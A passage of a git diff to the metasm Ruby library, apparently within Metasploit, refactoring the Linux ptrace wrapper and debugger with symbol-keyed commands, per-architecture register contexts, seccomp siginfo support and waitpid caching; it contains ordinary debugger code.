'PEEKTEXT' => 1, - 'PEEKDATA' => 2, 'PEEKUSR' => 3, - 'POKETEXT' => 4, 'POKEDATA' => 5, - 'POKEUSR' => 6, 'CONT' => 7, - 'KILL' => 8, 'SINGLESTEP' => 9, - 'ATTACH' => 16, 'DETACH' => 17, - 'SYSCALL' => 24, + :TRACEME => 0, :PEEKTEXT => 1, + :PEEKDATA => 2, :PEEKUSR => 3, + :POKETEXT => 4, :POKEDATA => 5, + :POKEUSR => 6, :CONT => 7, + :KILL => 8, :SINGLESTEP => 9, + :ATTACH => 16, :DETACH => 17, + :SYSCALL => 24, # arch/x86/include/ptrace-abi.h - 'GETREGS' => 12, 'SETREGS' => 13, - 'GETFPREGS' => 14, 'SETFPREGS' => 15, - 'GETFPXREGS' => 18, 'SETFPXREGS' => 19, - 'OLDSETOPTIONS' => 21, 'GET_THREAD_AREA' => 25, - 'SET_THREAD_AREA' => 26, 'ARCH_PRCTL' => 30, - 'SYSEMU' => 31, 'SYSEMU_SINGLESTEP'=> 32, - 'SINGLEBLOCK' => 33, + :GETREGS => 12, :SETREGS => 13, + :GETFPREGS => 14, :SETFPREGS => 15, + :GETFPXREGS => 18, :SETFPXREGS => 19, + :OLDSETOPTIONS => 21, :GET_THREAD_AREA => 25, + :SET_THREAD_AREA => 26, :ARCH_PRCTL => 30, + :SYSEMU => 31, :SYSEMU_SINGLESTEP=> 32, + :SINGLEBLOCK => 33, # 0x4200-0x4300 are reserved for architecture-independent additions. - 'SETOPTIONS' => 0x4200, 'GETEVENTMSG' => 0x4201, - 'GETSIGINFO' => 0x4202, 'SETSIGINFO' => 0x4203 + :SETOPTIONS => 0x4200, :GETEVENTMSG => 0x4201, + :GETSIGINFO => 0x4202, :SETSIGINFO => 0x4203 } OPTIONS = { @@ -176,14 +245,15 @@ class PTrace 'TRACESYSGOOD' => 0x01, 'TRACEFORK' => 0x02, 'TRACEVFORK' => 0x04, 'TRACECLONE' => 0x08, 'TRACEEXEC' => 0x10, 'TRACEVFORKDONE'=> 0x20, - 'TRACEEXIT' => 0x40 + 'TRACEEXIT' => 0x40, 'TRACESECCOMP' => 0x80, } WAIT_EXTENDEDRESULT = { # Wait extended result codes for the above trace options. 'EVENT_FORK' => 1, 'EVENT_VFORK' => 2, 'EVENT_CLONE' => 3, 'EVENT_EXEC' => 4, - 'EVENT_VFORK_DONE' => 5, 'EVENT_EXIT' => 6 + 'EVENT_VFORK_DONE' => 5, 'EVENT_EXIT' => 6, + 'EVENT_SECCOMP' => 7, } WAIT_EXTENDEDRESULT.update WAIT_EXTENDEDRESULT.invert @@ -197,8 +267,8 @@ class PTrace 'EBX' => 0, 'ECX' => 1, 'EDX' => 2, 'ESI' => 3, 'EDI' => 4, 'EBP' => 5, 'EAX' => 6, 'DS' => 7, 'ES' => 8, 'FS' => 9, 'GS' => 10, 'ORIG_EAX' => 11, - 'EIP' => 12, 'CS' => 13, 'EFL' => 14, 'UESP'=> 15, - 'EFLAGS' => 14, 'ESP' => 15, + 'EIP' => 12, 'CS' => 13, 'EFL' => 14, 'UESP'=> 15, + 'EFLAGS' => 14, 'ESP' => 15, 'SS' => 16, # from ptrace.c in kernel source & asm-i386/user.h 'DR0' => 63, 'DR1' => 64, 'DR2' => 65, 'DR3' => 66, @@ -261,10 +331,10 @@ class PTrace mknodat fchownat futimesat fstatat64 unlinkat renameat linkat symlinkat readlinkat fchmodat faccessat pselect6 ppoll unshare set_robust_list get_robust_list splice sync_file_range tee vmsplice move_pages getcpu epoll_pwait utimensat signalfd timerfd eventfd fallocate timerfd_settime - timerfd_gettime signalfd4 eventfd2 epoll_create1 dup3 pipe2 inotify_init1 preadv pwritev + timerfd_gettime signalfd4 eventfd2 epoll_create1 dup3 pipe2 inotify_init1 preadv pwritev rt_tg_sigqueueinfo perf_counter_open].inject({}) { |h, sc| h.update sc => h.length } SYSCALLNR_I386.update SYSCALLNR_I386.invert - + SYSCALLNR_X86_64 = %w[read write open close stat fstat lstat poll lseek mmap mprotect munmap brk rt_sigaction rt_sigprocmask rt_sigreturn ioctl pread64 pwrite64 readv writev access pipe select sched_yield mremap msync mincore madvise shmget shmat shmctl dup dup2 pause nanosleep getitimer alarm @@ -341,7 +411,7 @@ typedef unsigned __int32 __uid_t; typedef uintptr_t sigval_t; typedef long __clock_t; -typedef struct siginfo { +struct siginfo { int si_signo; int si_errno; int si_code; @@ -377,138 +447,162 @@ typedef struct siginfo { long int si_band; /* Band event for SIGPOLL. */ int si_fd; } _sigpoll; + struct { /* SIGSYS under SECCOMP */ + uintptr_t si_calladdr; /* calling insn address */ + int si_syscall; /* triggering syscall nr */ + int si_arch; /* AUDIT_ARCH_* for syscall */ + } _sigsys; }; -} siginfo_t; +}; EOS def sys_ptrace(req, pid, addr, data) - data = str_ptr(data) if data.kind_of?(String) - addr = [addr].pack(@packint).unpack(@packint).first - data = [data].pack(@packint).unpack(@packint).first - Kernel.syscall(@host_syscallnr['ptrace'], req, pid, addr, data) + ret = @sys_ptrace.ptrace(req, pid, addr, data) + if ret < 0 and ret > -256 + raise SystemCallError.new("ptrace #{COMMAND.index(req) || req}", -ret) + end + ret end def traceme - sys_ptrace(COMMAND['TRACEME'], 0, 0, 0) + sys_ptrace(COMMAND[:TRACEME], 0, 0, 0) end def peektext(addr) - sys_ptrace(COMMAND['PEEKTEXT'], @pid, addr, @bufptr) + sys_ptrace(COMMAND[:PEEKTEXT], @pid, addr, @buf) @buf end def peekdata(addr) - sys_ptrace(COMMAND['PEEKDATA'], @pid, addr, @bufptr) + sys_ptrace(COMMAND[:PEEKDATA], @pid, addr, @buf) @buf end def peekusr(addr) - sys_ptrace(COMMAND['PEEKUSR'], @pid, @host_intsize*addr, @bufptr) - bufval & ((1 << ([@host_intsize, @intsize].min*8)) - 1) + sys_ptrace(COMMAND[:PEEKUSR], @pid, @host_intsize*addr, @buf) + @peekmask ||= (1 << ([@host_intsize, @intsize].min*8)) - 1 + bufval & @peekmask end def poketext(addr, data) - sys_ptrace(COMMAND['POKETEXT'], @pid, addr, data.unpack(@packint).first) + sys_ptrace(COMMAND[:POKETEXT], @pid, addr, data.unpack(@packint).first) end def pokedata(addr, data) - sys_ptrace(COMMAND['POKEDATA'], @pid, addr, data.unpack(@packint).first) + sys_ptrace(COMMAND[:POKEDATA], @pid, addr, data.unpack(@packint).first) end def pokeusr(addr, data) - sys_ptrace(COMMAND['POKEUSR'], @pid, @host_intsize*addr, data) + sys_ptrace(COMMAND[:POKEUSR], @pid, @host_intsize*addr, data) end def getregs(buf=nil) + buf = buf.str if buf.respond_to?(:str) # AllocCStruct buf ||= [0].pack('C')*512 - sys_ptrace(COMMAND['GETREGS'], @pid, 0, buf) + sys_ptrace(COMMAND[:GETREGS], @pid, 0, buf) buf end def setregs(buf) - sys_ptrace(COMMAND['SETREGS'], @pid, 0, buf) + buf = buf.str if buf.respond_to?(:str) + sys_ptrace(COMMAND[:SETREGS], @pid, 0, buf) end def getfpregs(buf=nil) + buf = buf.str if buf.respond_to?(:str) buf ||= [0].pack('C')*1024 - sys_ptrace(COMMAND['GETFPREGS'], @pid, 0, buf) + sys_ptrace(COMMAND[:GETFPREGS], @pid, 0, buf) buf end def setfpregs(buf) - sys_ptrace(COMMAND['SETFPREGS'], @pid, 0, buf) + buf = buf.str if buf.respond_to?(:str) + sys_ptrace(COMMAND[:SETFPREGS], @pid, 0, buf) end def getfpxregs(buf=nil) + buf = buf.str if buf.respond_to?(:str) buf ||= [0].pack('C')*512 - sys_ptrace(COMMAND['GETFPXREGS'], @pid, 0, buf) + sys_ptrace(COMMAND[:GETFPXREGS], @pid, 0, buf) buf end def setfpxregs(buf) - sys_ptrace(COMMAND['SETFPXREGS'], @pid, 0, buf) + buf = buf.str if buf.respond_to?(:str) + sys_ptrace(COMMAND[:SETFPXREGS], @pid, 0, buf) end def get_thread_area(addr) - sys_ptrace(COMMAND['GET_THREAD_AREA'], @pid, addr, @bufptr) + sys_ptrace(COMMAND[:GET_THREAD_AREA], @pid, addr, @buf) bufval end def set_thread_area(addr, data) - sys_ptrace(COMMAND['SET_THREAD_AREA'], @pid, addr, data) + sys_ptrace(COMMAND[:SET_THREAD_AREA], @pid, addr, data) end def prctl(addr, data) - sys_ptrace(COMMAND['ARCH_PRCTL'], @pid, addr, data) + sys_ptrace(COMMAND[:ARCH_PRCTL], @pid, addr, data) end - + def cont(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['CONT'], @pid, 0, sig) + sys_ptrace(COMMAND[:CONT], @pid, 0, sig) end def kill - sys_ptrace(COMMAND['KILL'], @pid, 0, 0) + sys_ptrace(COMMAND[:KILL], @pid, 0, 0) end def singlestep(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['SINGLESTEP'], @pid, 0, sig) + sys_ptrace(COMMAND[:SINGLESTEP], @pid, 0, sig) end def singleblock(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['SINGLEBLOCK'], @pid, 0, sig) + sys_ptrace(COMMAND[:SINGLEBLOCK], @pid, 0, sig) end def syscall(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['SYSCALL'], @pid, 0, sig) + sys_ptrace(COMMAND[:SYSCALL], @pid, 0, sig) end def attach - sys_ptrace(COMMAND['ATTACH'], @pid, 0, 0) + sys_ptrace(COMMAND[:ATTACH], @pid, 0, 0) end def detach - sys_ptrace(COMMAND['DETACH'], @pid, 0, 0) + sys_ptrace(COMMAND[:DETACH], @pid, 0, 0) end def setoptions(*opt) opt = opt.inject(0) { |b, o| b |= o.kind_of?(Integer) ? o : OPTIONS[o] } - sys_ptrace(COMMAND['SETOPTIONS'], @pid, 0, opt) + sys_ptrace(COMMAND[:SETOPTIONS], @pid, 0, opt) end # retrieve pid of cld for EVENT_CLONE/FORK, exitcode for EVENT_EXIT def geteventmsg - sys_ptrace(COMMAND['GETEVENTMSG'], @pid, 0, @bufptr) + sys_ptrace(COMMAND[:GETEVENTMSG], @pid, 0, @buf) bufval end - def getsiginfo - sys_ptrace(COMMAND['GETSIGINFO'], @pid, 0, @siginfo.str) - @siginfo + def cp + @cp ||= @tgcpu.new_cparser end - def setsiginfo(si=@siginfo) + def siginfo + @siginfo ||= ( + cp.parse SIGINFO_C if not cp.toplevel.struct['siginfo'] + cp.alloc_c_struct('siginfo') + ) + end + + def getsiginfo + sys_ptrace(COMMAND[:GETSIGINFO], @pid, 0, siginfo.str) + siginfo + end + + def setsiginfo(si=siginfo) si = si.str if si.respond_to?(:str) - sys_ptrace(COMMAND['SETSIGINFO'], @pid, 0, si) + sys_ptrace(COMMAND[:SETSIGINFO], @pid, 0, si) end end @@ -562,7 +656,7 @@ class LinOS < OS # read from /proc/pid/task/ def threads Dir.entries("/proc/#{pid}/task/").grep(/^\d+$/).map { |tid| tid.to_i } - rescue + rescue # TODO handle pthread stuff (eg 2.4 kernels) [pid] end @@ -593,7 +687,7 @@ class LinOS < OS def terminate kill - end + end def kill(signr=9) ::Process.kill(signr, @pid) @@ -641,11 +735,29 @@ class LinuxRemoteString < VirtualString self.class.new(@pid, addr, len, dbg) end - def do_ptrace + def do_ptrace(needproc) if dbg dbg.switch_context(@pid) { - # XXX tid ? - yield dbg.ptrace if dbg.state == :stopped + st = dbg.state + next if st != :stopped + if needproc + # we will try to access /proc/pid/mem + # if the main thread is still running, fallback to ptrace.readmem instead + pst = (dbg.tid == @pid ? st : dbg.tid_stuff[@pid][:state]) + if pst != :stopped + savedreadfd = @readfd + @readfd = nil + begin + yield dbg.ptrace + ensure + @readfd = savedreadfd + end + else + yield dbg.ptrace + end + else + yield dbg.ptrace + end } else PTrace.open(@pid) { |ptrace| yield ptrace } @@ -654,11 +766,12 @@ class LinuxRemoteString < VirtualString def rewrite_at(addr, data) # target must be stopped - do_ptrace { |ptrace| ptrace.writemem(addr, data) } + wr = do_ptrace(false) { |ptrace| ptrace.writemem(addr, data) } + raise "couldn't ptrace_write at #{'%x' % addr}" if not wr end def get_page(addr, len=@pagelength) - do_ptrace { |ptrace| + do_ptrace(true) { |ptrace| begin if readfd and addr < (1<<63) # 1<<63: ruby seek = 'too big to fit longlong', linux read = EINVAL @@ -675,6 +788,305 @@ class LinuxRemoteString < VirtualString end end +class PTraceContext_Ia32 < PTrace + C_STRUCT = < true } + @gpr_peek = @@gpr_peek_ia32 ||= (0..7).inject({}) { |h, i| + h.update "dr#{i}".to_sym => REGS_I386["DR#{i}"] } + @gpr_sub = @@gpr_sub_ia32 ||= gpr_sub_init + @xmm = @@xmm_ia32 ||= [:cwd, :swd, :twd, :fop, :fip, :fcs, :foo, + :fos, :mxcsr].inject({}) { |h, r| h.update r => true } + @cp.parse C_STRUCT if not @cp.toplevel.struct['user_regs_struct_ia32'] + @gpr_st = @xmm_st = nil + end + + # :bh => [:ebx, 0xff, 8] + # XXX similar to Reg.symbolic... DRY + def gpr_sub_init + ret = {} + %w[a b c d].each { |r| + b = "e#{r}x".to_sym + ret["#{r}x".to_sym] = [b, 0xffff] + ret["#{r}l".to_sym] = [b, 0xff] + ret["#{r}h".to_sym] = [b, 0xff, 8] + } + %w[sp bp si di].each { |r| + b = "e#{r}".to_sym + ret[r.to_sym] = [b, 0xffff] + } + ret[:orig_rax] = [:orig_eax, 0xffff_ffff] + ret + end + + def do_getregs + st = cp.alloc_c_struct('user_regs_struct_ia32') + getregs(st) + st + end + + def do_setregs(st=@gpr_st) + setregs(st) + end + + def do_getxmm + st = cp.alloc_c_struct('user_fxsr_struct_ia32') + getfpxregs(st) + st + end + + def do_setxmm(st=@xmm_st) + setfpxregs(st) + end + + def get_reg(r) + r = r.downcase if r == 'ORIG_EAX' or r == 'ORIG_RAX' + rs = r.to_sym + if @gpr[rs] + @gpr_st ||= do_getregs + @gpr_st[rs] + elsif o = @gpr_peek[rs] + peekusr(o) + elsif o = @gpr_sub[rs] + v = get_reg(o[0]) + v >>= o[2] if o[2] + v &= o[1] + elsif @xmm[rs] + @xmm_st ||= do_getxmm + @xmm_st[rs] + else + case r.to_s + when /^st(\d?)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.st_space + [fu[4*i], fu[4*i+1], fu[4*i+2]].pack('L*').unpack('D').first # XXX + when /^mmx?(\d)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.st_space + fu[4*i] | (fu[4*i + 1] << 32) + when /^xmm(\d+)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.xmm_space + fu[4*i] | (fu[4*i + 1] << 32) | (fu[4*i + 2] << 64) | (fu[4*i + 3] << 96) + # TODO when /^ymm(\d+)$/i + else raise "unknown register name #{r}" + end + end + end + + def set_reg(r, v) + r = r.downcase if r == 'ORIG_EAX' or r == 'ORIG_RAX' + rs = r.to_sym + if @gpr[rs] + @gpr_st ||= do_getregs + @gpr_st[rs] = v + do_setregs + elsif o = @gpr_peek[rs] + pokeusr(o, v) + elsif o = @gpr_sub[rs] + vo = get_reg(o[0]) + msk = o[1] + v &= o[1] + if o[2] + msk <<= o[2] + v <<= o[2] + end + v |= vo & ~msk + set_reg(o[0], v) + elsif @xmm[rs] + @xmm_st ||= do_getxmm + @xmm_st[rs] = v + do_setxmm + else + case r.to_s + when /^st(\d?)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.st_space + fu[4*i], fu[4*i+1], fu[4*i+2] = [v, -1].pack('DL').unpack('L*') # XXX + do_setxmm + when /^mmx?(\d)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.st_space + fu[4*i] = v & 0xffff_ffff + fu[4*i + 1] = (v >> 32) & 0xffff_ffff + do_setxmm + when /^xmm(\d+)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.xmm_space + fu[4*i] = v & 0xffff_ffff + fu[4*i + 1] = (v >> 32) & 0xffff_ffff + fu[4*i + 2] = (v >> 64) & 0xffff_ffff + fu[4*i + 3] = (v >> 96) & 0xffff_ffff + do_setxmm + # TODO when /^ymm(\d+)$/i + else raise "unknown register name #{r}" + end + end + end +end + +class PTraceContext_X64 < PTraceContext_Ia32 + C_STRUCT = < true } + @gpr_peek = @@gpr_peek_x64 ||= (0..7).inject({}) { |h, i| + h.update "dr#{i}".to_sym => REGS_X86_64["DR#{i}"] } + @gpr_sub = @@gpr_sub_x64 ||= gpr_sub_init + @xmm = @@xmm_x64 ||= [:cwd, :swd, :twd, :fop, :rip, :rdp, :mxcsr, + :mxcsr_mask].inject({}) { |h, r| h.update r => true } + @cp.parse C_STRUCT if not @cp.toplevel.struct['user_regs_struct_x64'] + @gpr_st = @xmm_st = nil + end + + def gpr_sub_init + ret = {} + %w[a b c d].each { |r| + b = "r#{r}x".to_sym + ret["e#{r}x".to_sym] = [b, 0xffff_ffff] + ret[ "#{r}x".to_sym] = [b, 0xffff] + ret[ "#{r}l".to_sym] = [b, 0xff] + ret[ "#{r}h".to_sym] = [b, 0xff, 8] + } + %w[sp bp si di].each { |r| + b = "r#{r}".to_sym + ret["e#{r}".to_sym] = [b, 0xffff_ffff] + ret[ "#{r}".to_sym] = [b, 0xffff] + ret["#{r}l".to_sym] = [b, 0xff] + } + (8..15).each { |i| + b = "r#{i}".to_sym + ret["r#{i}d"] = [b, 0xffff_ffff] + ret["r#{i}w"] = [b, 0xffff] + ret["r#{i}b"] = [b, 0xff] + } + ret[:eip] = [:rip, 0xffff_ffff] + ret[:eflags] = [:rflags, 0xffff_ffff] + ret[:orig_eax] = [:orig_rax, 0xffff_ffff] + ret + end + + def do_getregs + st = cp.alloc_c_struct('user_regs_struct_x64') + getregs(st) + st + end + + def do_setregs(st=@gpr_st) + setregs(st) + end + + def do_getxmm + st = cp.alloc_c_struct('user_i387_struct_x64') + getfpregs(st) + st + end + + def do_setxmm(st=@xmm_st) + setfpregs(st) + end +end + module ::Process WALL = 0x40000000 if not defined? WALL WCLONE = 0x80000000 if not defined? WCLONE @@ -683,10 +1095,10 @@ end # this class implements a high-level API over the ptrace debugging primitives class LinDebugger < Debugger # ptrace is per-process or per-thread ? - attr_accessor :ptrace, :continuesignal, :has_pax_mprotect, :target_syscall + attr_accessor :ptrace, :continuesignal, :has_pax_mprotect, :target_syscall, :cached_waitpid attr_accessor :callback_syscall, :callback_branch, :callback_exec - def initialize(pidpath=nil) + def initialize(pidpath=nil, &b) super() @pid_stuff_list << :has_pax_mprotect << :ptrace << :breaking << :os_process @tid_stuff_list << :continuesignal << :saved_csig << :ctx << :target_syscall @@ -696,15 +1108,14 @@ class LinDebugger < Debugger @callback_syscall = lambda { |i| log "syscall #{i[:syscall]}" } @callback_exec = lambda { |i| log "execve #{os_process.path}" } + @cached_waitpid = [] return if not pidpath - begin - pid = Integer(pidpath) - attach(pid) - rescue ArgumentError - create_process(pidpath) - end + t = begin; Integer(pidpath) + rescue ArgumentError, TypeError + end + t ? attach(t) : create_process(pidpath, &b) end def shortname; 'lindbg'; end @@ -715,11 +1126,18 @@ class LinDebugger < Debugger set_context(pt.pid, pt.pid) # swapout+init_newpid log "attached #@pid" list_threads.each { |tid| attach_thread(tid) if tid != @pid } + set_tid @pid end # create a process and debug it - def create_process(path) - pt = PTrace.new(path, :create) + # if given a block, the block is run in the context of the ruby subprocess + # after the fork() and before exec()ing the target binary + # you can use it to eg tweak file descriptors: + # tg_stdin_r, tg_stdin_w = IO.pipe + # create_process('/bin/cat') { tg_stdin_w.close ; $stdin.reopen(tg_stdin_r) } + # tg_stdin_w.write 'lol' + def create_process(path, &b) + pt = PTrace.new(path, :create, &b) # TODO save path, allow restart etc set_context(pt.pid, pt.pid) # swapout+init_newpid log "attached #@pid" @@ -727,10 +1145,10 @@ class LinDebugger < Debugger def initialize_cpu @cpu = os_process.cpu - # need to init @ptrace here, before init_dasm calls gui.swapin + # need to init @ptrace here, before init_dasm calls gui.swapin XXX this stinks @ptrace = PTrace.new(@pid, false) if @cpu.size == 64 and @ptrace.reg_off['EAX'] - hack_64_32 + hack_x64_32 end set_tid @pid set_thread_options @@ -764,29 +1182,35 @@ class LinDebugger < Debugger os_process.modules end - # we're a 32bit process debugging a 64bit target + # We're a 32bit process debugging a 64bit target # the ptrace kernel interface we use only allow us a 32bit-like target access - # with this we advertize the cpu as having eax..edi registers (the only one we + # With this we advertize the cpu as having eax..edi registers (the only one we # can access), while still decoding x64 instructions (whose addr < 4G) - def hack_64_32 + def hack_x64_32 log "WARNING: debugging a 64bit process from a 32bit debugger is a very bad idea !" - @cpu.instance_eval { - ia32 = Ia32.new - @dbg_register_pc = ia32.dbg_register_pc - @dbg_register_flags = ia32.dbg_register_flags - @dbg_register_list = ia32.dbg_register_list - @dbg_register_size = ia32.dbg_register_size - } + ia32 = Ia32.new + @cpu.instance_variable_set('@dbg_register_pc', ia32.dbg_register_pc) + @cpu.instance_variable_set('@dbg_register_sp', ia32.dbg_register_sp) + @cpu.instance_variable_set('@dbg_register_flags', ia32.dbg_register_flags) + @cpu.instance_variable_set('@dbg_register_list', ia32.dbg_register_list) + @cpu.instance_variable_set('@dbg_register_size', ia32.dbg_register_size) end # attach a thread of the current process def attach_thread(tid) set_tid tid @ptrace.pid = tid - @ptrace.attach - @state = :stopped # no need to wait() + @ptrace.attach + @state = :stopped + # store this waitpid so that we can return it in a future check_target + ::Process.waitpid(tid, ::Process::WALL) + # XXX can $? be safely stored? + @cached_waitpid << [tid, $?.dup] log "attached thread #{tid}" set_thread_options + rescue Errno::ESRCH + # raced, thread quitted already + del_tid end # set the debugee ptrace options (notify clone/exec/exit, and fork/vfork depending on @trace_children) @@ -807,27 +1231,23 @@ class LinDebugger < Debugger super() end - # a hash of the current thread context - # TODO keys = :gpr, :fpu, :xmm, :dr ; val = AllocCStruct - # include accessors for st0/xmm12 (@ptrace.getfpregs.unpack etc) + # current thread register values accessor def ctx - @ctx ||= {} + @ctx ||= case @ptrace.host_csn + when 'ia32'; PTraceContext_Ia32.new(@ptrace, @tid) + when 'x64'; PTraceContext_X64.new(@ptrace, @tid) + else raise '8==D' + end end def get_reg_value(r) - raise "bad register #{r}" if not k = @ptrace.reg_off[r.to_s.upcase] - return ctx[r] || 0 if @state != :stopped - @ptrace.pid = @tid - ctx[r] ||= @ptrace.peekusr(k) + return 0 if @state != :stopped + ctx.get_reg(r) rescue Errno::ESRCH 0 end def set_reg_value(r, v) - raise "bad register #{r}" if not k = @ptrace.reg_off[r.to_s.upcase] - ctx[r] = v - return if @state != :stopped - @ptrace.pid = @tid - @ptrace.pokeusr(k, v) + ctx.set_reg(r, v) end def update_waitpid(status) @@ -851,14 +1271,14 @@ class LinDebugger < Debugger end elsif status.stopped? sig = status.stopsig & 0x7f - signame = PTrace::SIGNAL[sig] + signame = PTrace::SIGNAL[sig] if signame == 'TRAP' if status.stopsig & 0x80 > 0 # XXX int80 in x64 => syscallnr32 ? evt_syscall info.update(:syscall => @ptrace.syscallnr[get_reg_value(@ptrace.syscallreg)]) elsif (status >> 16) > 0 - case o = PTrace::WAIT_EXTENDEDRESULT[status >> 16] + case PTrace::WAIT_EXTENDEDRESULT[status >> 16] when 'EVENT_FORK', 'EVENT_VFORK' # parent notification of a fork # child receives STOP (may have already happened) @@ -870,6 +1290,7 @@ class LinDebugger < Debugger resume_badbreak when 'EVENT_EXIT' + @ptrace.pid = @tid info.update :exitcode => @ptrace.geteventmsg if @tid == @pid evt_endprocess info @@ -885,6 +1306,7 @@ class LinDebugger < Debugger end else + @ptrace.pid = @tid si = @ptrace.getsiginfo case si.si_code when PTrace::SIGINFO['BRKPT'], @@ -900,7 +1322,7 @@ class LinDebugger < Debugger @saved_csig = @continuesignal = sig info.update :signal => signame, :type => "SIG#{signame}" evt_exception info - end + end end elsif signame == 'STOP' and @info == 'new' @@ -908,26 +1330,28 @@ class LinDebugger < Debugger if @pid == @tid attach(@pid, false) evt_newprocess info - else + else evt_newthread info end elsif signame == 'STOP' and @breaking @state = :stopped @info = 'break' - @breaking = nil + @breaking.call if @breaking.kind_of? Proc + @breaking = nil - else + else @saved_csig = @continuesignal = sig info.update :signal => signame, :type => "SIG#{signame}" if signame == 'SEGV' # need more data on access violation (for bpm) info.update :type => 'access violation' + @ptrace.pid = @tid si = @ptrace.getsiginfo access = case si.si_code when PTrace::SIGINFO['MAPERR']; :r # XXX write access to unmapped => ? when PTrace::SIGINFO['ACCERR']; :w - end + end info.update :fault_addr => si.si_addr, :fault_access => access end evt_exception info @@ -937,36 +1361,53 @@ class LinDebugger < Debugger evt_exception info.update(:type => "unknown wait #{status.inspect}") end end - + def set_tid_findpid(tid) return if tid == @tid - if tid != @pid and pr = list_processes.find { |p| p.threads.include? tid } - set_pid pr.pid + if tid != @pid and !@tid_stuff[tid] + if kv = @pid_stuff.find { |k, v| v[:tid_stuff] and v[:tid_stuff][tid] } + set_pid kv[0] + elsif pr = list_processes.find { |p| p.threads.include?(tid) } + set_pid pr.pid + end end set_tid tid end def do_check_target - return unless t = ::Process.waitpid(-1, ::Process::WNOHANG | ::Process::WALL) - # XXX all threads may have stopped, wait them now ? + if @cached_waitpid.empty? + t = ::Process.waitpid(-1, ::Process::WNOHANG | ::Process::WALL) + st = $? + else + t, st = @cached_waitpid.shift + end + return if not t set_tid_findpid t - update_waitpid $? + update_waitpid st + true rescue ::Errno::ECHILD end def do_wait_target - t = ::Process.waitpid(-1, ::Process::WALL) + if @cached_waitpid.empty? + t = ::Process.waitpid(-1, ::Process::WALL) + st = $? + else + t, st = @cached_waitpid.shift + end set_tid_findpid t - update_waitpid $? + update_waitpid st rescue ::Errno::ECHILD end def do_continue + @state = :running @ptrace.pid = tid @ptrace.cont(@continuesignal) end def do_singlestep(*a) + @state = :running @ptrace.pid = tid @ptrace.singlestep(@continuesignal) end @@ -975,10 +1416,21 @@ class LinDebugger < Debugger # regexp allowed to wait a specific syscall def syscall(arg=nil) arg = nil if arg and arg.strip == '' - return if not check_pre_run(:syscall, arg) - @target_syscall = arg - @ptrace.pid = @tid - @ptrace.syscall(@continuesignal) + if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } + singlestep_bp(b) { + next if not check_pre_run(:syscall, arg) + @target_syscall = arg + @state = :running + @ptrace.pid = @tid + @ptrace.syscall(@continuesignal) + } + else + return if not check_pre_run(:syscall, arg) + @target_syscall = arg + @state = :running + @ptrace.pid = @tid + @ptrace.syscall(@continuesignal) + end end def syscall_wait(*a, &b) @@ -990,9 +1442,19 @@ class LinDebugger < Debugger def singleblock # record as singlestep to avoid evt_singlestep -> evt_exception # step or block doesn't matter much here anyway - return if not check_pre_run(:singlestep) - @ptrace.pid = @tid - @ptrace.singleblock(@continuesignal) + if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } + singlestep_bp(b) { + next if not check_pre_run(:singlestep) + @state = :running + @ptrace.pid = @tid + @ptrace.singleblock(@continuesignal) + } + else + return if not check_pre_run(:singlestep) + @state = :running + @ptrace.pid = @tid + @ptrace.singleblock(@continuesignal) + end end def singleblock_wait(*a, &b) @@ -1034,8 +1496,8 @@ class LinDebugger < Debugger # calling continue() here will loop back to TRAP+INFO_EXEC end - def break - @breaking = true + def break(&b) + @breaking = b || true kill 'STOP' end @@ -1051,26 +1513,41 @@ class LinDebugger < Debugger @continuesignal = @saved_csig else @continuesignal = 0 - end - end + end + end def sig2signr(sig) case sig when nil, ''; 9 when Integer; sig when String - sig = sig.upcase.sub(/^SIG_?/, '') + sig = sig.upcase.sub(/^SIG_?/, '') PTrace::SIGNAL[sig] || Integer(sig) else raise "unhandled signal #{sig.inspect}" - end + end end # stop debugging the current process def detach + if @state == :running + # must be stopped so we can rm bps + self.break { detach } + mypid = @pid + wait_target + + # after syscall(), wait will return once for interrupted syscall, + # and we need to wait more for the break callback to kick in + if @pid == mypid and @state == :stopped and @info =~ /syscall/ + do_continue + check_target + end + + return + end del_all_breakpoints each_tid { @ptrace.pid = @tid - @ptrace.detach + @ptrace.detach rescue nil @delete_thread = true } del_pid diff --git a/lib/metasm/metasm/os/main.rb b/lib/metasm/metasm/os/main.rb index c501dc6502..97919afc36 100644 --- a/lib/metasm/metasm/os/main.rb +++ b/lib/metasm/metasm/os/main.rb @@ -51,11 +51,19 @@ class OS pr end + # return 'winos' or 'linos' depending on the underlying OS + def self.shortname + case RUBY_PLATFORM + when /mswin|mingw|cygwin/i; 'winos' + when /linux/i; 'linos' + end + end + # return the platform-specific version def self.current - case RUBY_PLATFORM - when /mswin|mingw|cygwin/i; WinOS - when /linux/i; LinOS + case shortname + when 'winos'; WinOS + when 'linos'; LinOS end end end @@ -161,6 +169,17 @@ class VirtualString end end + def rindex(chr, max=length) + return if max > length + if max > 64 and i = self[max-64, 64].rindex(chr) + max - 64 + i + elsif max > @pagelength and i = self[max-@pagelength, @pagelength].rindex(chr) + max - @pagelength + i + else + realstring.rindex(chr, max) + end + end + # '=~' does not go through method_missing def =~(o) realstring =~ o @@ -264,7 +283,7 @@ class VirtualFile < VirtualString if sz = File.size(path) <= 4096 and (mode == 'rb' or mode == 'r') File.open(path, mode) { |fd| fd.read } else - File.open(path, mode) { |fd| new fd, 0, sz } + File.open(path, mode) { |fd| new fd.dup, 0, sz } end end @@ -274,7 +293,7 @@ class VirtualFile < VirtualString # creates a new virtual mapping of a section of the file # the file descriptor must be seekable def initialize(fd, addr_start = 0, length = nil) - @fd = fd.dup + @fd = fd if not length @fd.seek(0, File::SEEK_END) length = @fd.tell - addr_start @@ -308,1379 +327,4 @@ class VirtualFile < VirtualString @fd.read(@length) end end - -# this class implements a high-level debugging API (abstract superclass) -class Debugger - class Breakpoint - attr_accessor :address, - # context where the bp was defined - :pid, :tid, - # bool: oneshot ? - :oneshot, - # current bp state: :active, :inactive (internal use), :disabled (user-specified) - :state, - # type: type of breakpoint (:bpx = soft, 